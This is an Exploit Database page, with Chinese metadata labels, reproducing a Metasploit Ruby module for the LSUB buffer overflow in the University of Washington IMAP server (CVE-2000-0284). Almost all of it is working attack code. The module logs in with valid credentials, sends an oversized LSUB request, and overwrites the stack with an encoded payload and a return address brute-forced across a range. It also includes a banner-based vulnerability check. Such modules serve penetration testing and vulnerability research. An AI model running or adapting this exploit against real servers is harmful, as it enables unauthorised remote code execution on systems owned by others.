UoW IMAPd Server – LSUB Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-03-26
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16846/

• ##
  # $Id: imap_uw_lsub.rb 8932 2010-03-26 19:00:23Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Brute
  	include Msf::Exploit::Remote::Imap
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'UoW IMAP server LSUB Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the 'LSUB'
  				command of the University of Washington IMAP service.
  				This vulnerability can only be exploited with a valid username
  				and password.
  			},
  			'Author' => [ 'patrick', 'jduck' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 8932 $',
  			'References' =>
  				[
  					[ 'CVE', '2000-0284' ],
  					[ 'OSVDB', '12037' ],
  					[ 'BID', '1110' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/284' ],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 964,
  					'BadChars' => "\x00\x0a\x0d\x2f",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'linux',
  			'Targets'=>
  				[
  					# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
  					[ 'Linux Bruteforce',
  						{
  							'Platform' => 'linux',
  							'Offset' => 1064,
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xbffffdfc },
  									'Stop'=> { 'Ret' => 0xbfa00000 },
  									'Step'=> 200
  								}
  						},
  					]
  				],
  			'DisclosureDate' => 'Apr 16 2000',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		connect
  		disconnect
  
  		if (banner =~ /IMAP4rev1 v12.264/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  
  	end
  
  	def brute_exploit(addresses)
  		print_status("Trying 0x%.8x ..." % addresses['Ret'])
  
  		if (not connect_login)
  			raise RuntimeError, "Unable to log in!"
  		end
  
  		req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
  		sock.put(req)
  		buf = sock.get_once
  
  		sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end